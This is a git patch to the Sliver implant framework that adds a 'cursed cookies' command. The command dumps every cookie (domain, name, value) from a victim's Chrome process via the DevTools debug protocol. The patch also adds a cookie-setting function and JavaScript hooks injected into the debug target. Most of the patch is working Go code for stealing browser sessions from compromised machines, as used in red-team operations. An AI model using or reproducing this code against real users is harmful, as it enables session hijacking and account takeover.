From d0826e63bcf0b6207ed433a9d92cf1a9652a3194 Mon Sep 17 00:00:00 2001 From: moloch-- <875022+moloch--@users.noreply.github.com> Date: Sun, 25 Sep 2022 17:51:07 -0700 Subject: [PATCH] Added cursed cookies cmd --- client/command/commands.go | 17 ++++++ client/command/cursed/cursed-console.go | 22 +++++++- client/command/cursed/cursed-cookies.go | 44 +++++++++++++++ client/command/filesystem/download.go | 3 +- client/constants/constants.go | 1 + client/overlord/overlord.go | 72 ++++++++++++++++++++++++- 6 files changed, 154 insertions(+), 5 deletions(-) create mode 100644 client/command/cursed/cursed-cookies.go diff --git a/client/command/commands.go b/client/command/commands.go index 6de521a098..5d8fc21d55 100644 --- a/client/command/commands.go +++ b/client/command/commands.go @@ -3511,6 +3511,23 @@ func BindCommands(con *console.SliverConsoleClient) { return nil }, }) + cursedCmd.AddCommand(&grumble.Command{ + Name: consts.CursedCookies, + Help: "Dump all cookies from cursed process", + LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}), + HelpGroup: consts.GenericHelpGroup, + Flags: func(f *grumble.Flags) { + f.String("s", "save", "", "save to file") + + f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + }, + Run: func(ctx *grumble.Context) error { + con.Println() + cursed.CursedCookiesCmd(ctx, con) + con.Println() + return nil + }, + }) cursedCmd.AddCommand(&grumble.Command{ Name: consts.ScreenshotStr, Help: "Take a screenshot of a cursed process debug target", diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go index d665efac40..74f0d8b994 100644 --- a/client/command/cursed/cursed-console.go +++ b/client/command/cursed/cursed-console.go @@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { return } con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title) - startCursedConsole(curse, target, con) + startCursedConsole(curse, true, target, con) } func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget { @@ -89,7 +89,13 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver return &selectedTarget } -func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) { +var ( + helperHooks = []string{ + "", // console.log + } +) + +func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) { tmpFile, _ := ioutil.TempFile("", "cursed") reader, err := readline.NewEx(&readline.Config{ Prompt: "\033[31mcursed ยป\033[0m ", @@ -104,6 +110,18 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT con.PrintErrorf("Failed to create read line: %s\n", err) return } + + if helpers { + // Execute helper hooks + ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse) + for _, hook := range helperHooks { + _, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook) + if err != nil { + con.PrintErrorf("%s\n", err) + } + } + } + for { line, err := reader.Readline() if err == readline.ErrInterrupt { diff --git a/client/command/cursed/cursed-cookies.go b/client/command/cursed/cursed-cookies.go new file mode 100644 index 0000000000..65df72e938 --- /dev/null +++ b/client/command/cursed/cursed-cookies.go @@ -0,0 +1,44 @@ +package cursed + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/overlord" + "github.com/desertbit/grumble" +) + +func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { + curse := selectCursedProcess(con) + if curse == nil { + return + } + con.Println() + + cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String()) + if err != nil { + con.PrintErrorf("Failed to dump cookies: %s\n", err) + return + } + + con.PrintInfof("Domain\tName\tValue") + for _, cookie := range cookies { + con.Printf("%s\t%s\t%s", cookie.Domain, cookie.Name, cookie.Value) + } +} diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go index e4c899f689..797f3c38c7 100644 --- a/client/command/filesystem/download.go +++ b/client/command/filesystem/download.go @@ -22,7 +22,6 @@ import ( "context" "fmt" "os" - "path" "path/filepath" "regexp" "runtime" @@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix()) } } - dst = path.Join(dst, fileName) + dst = filepath.Join(dst, fileName) } // Add an extension to a directory download if one is not provided. diff --git a/client/constants/constants.go b/client/constants/constants.go index d9adc477a8..b7b4235082 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -249,6 +249,7 @@ const ( CursedConsole = "console" CursedElectron = "electron" CursedEdge = "edge" + CursedCookies = "cookies" ) // Groups diff --git a/client/overlord/overlord.go b/client/overlord/overlord.go index bba5c5409a..98d157a58e 100644 --- a/client/overlord/overlord.go +++ b/client/overlord/overlord.go @@ -3,14 +3,17 @@ package overlord /* Sliver Implant Framework Copyright (C) 2022 Bishop Fox + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + You should have received a copy of the GNU General Public License along with this program. If not, see . */ @@ -24,8 +27,11 @@ import ( "log" "net/http" "net/url" + "time" "github.com/bishopfox/sliver/client/core" + "github.com/chromedp/cdproto/cdp" + "github.com/chromedp/cdproto/network" "github.com/chromedp/cdproto/page" "github.com/chromedp/cdproto/target" "github.com/chromedp/chromedp" @@ -158,7 +164,10 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b } extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID)) var result []byte - err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result)) + evalTasks := chromedp.Tasks{ + chromedp.Evaluate(jsCode, &result), + } + err := chromedp.Run(extCtx, evalTasks) return result, err } @@ -260,6 +269,67 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) { return extensionContexts, nil } +func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) { + var cookies []*network.Cookie + var err error + setCookieTasks := chromedp.Tasks{ + // read network values + chromedp.ActionFunc(func(ctx context.Context) error { + cookies, err = network.GetAllCookies().Do(ctx) + if err != nil { + return err + } + // for i, cookie := range cookies { + // log.Printf("chrome cookie %d: %+v", i, cookie) + // } + return nil + }), + } + taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse) + defer taskCancel() + defer cancel() + ctx, _ := chromedp.NewContext(taskCtx) + if err := chromedp.Run(ctx, setCookieTasks); err != nil { + return cookies, err + } + return cookies, nil +} + +func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) { + var res string + setCookieTasks := chromedp.Tasks{ + chromedp.ActionFunc(func(ctx context.Context) error { + // create cookie expiration + expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour)) + // add cookies to chrome + for i := 0; i < len(cookies); i += 2 { + err := network.SetCookie(cookies[i], cookies[i+1]). + WithExpires(&expr). + WithDomain("localhost"). + WithHTTPOnly(true). + Do(ctx) + if err != nil { + return err + } + } + return nil + }), + // navigate to site + // chromedp.Navigate(host), + // read the returned values + // chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible), + } + taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse) + defer taskCancel() + defer cancel() + ctx, _ := chromedp.NewContext(taskCtx) + if err := chromedp.Run(ctx, setCookieTasks); err != nil { + return "", err + } + + return res, nil +} + // Screenshot - Take a screenshot of a Chrome context func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) { var result []byte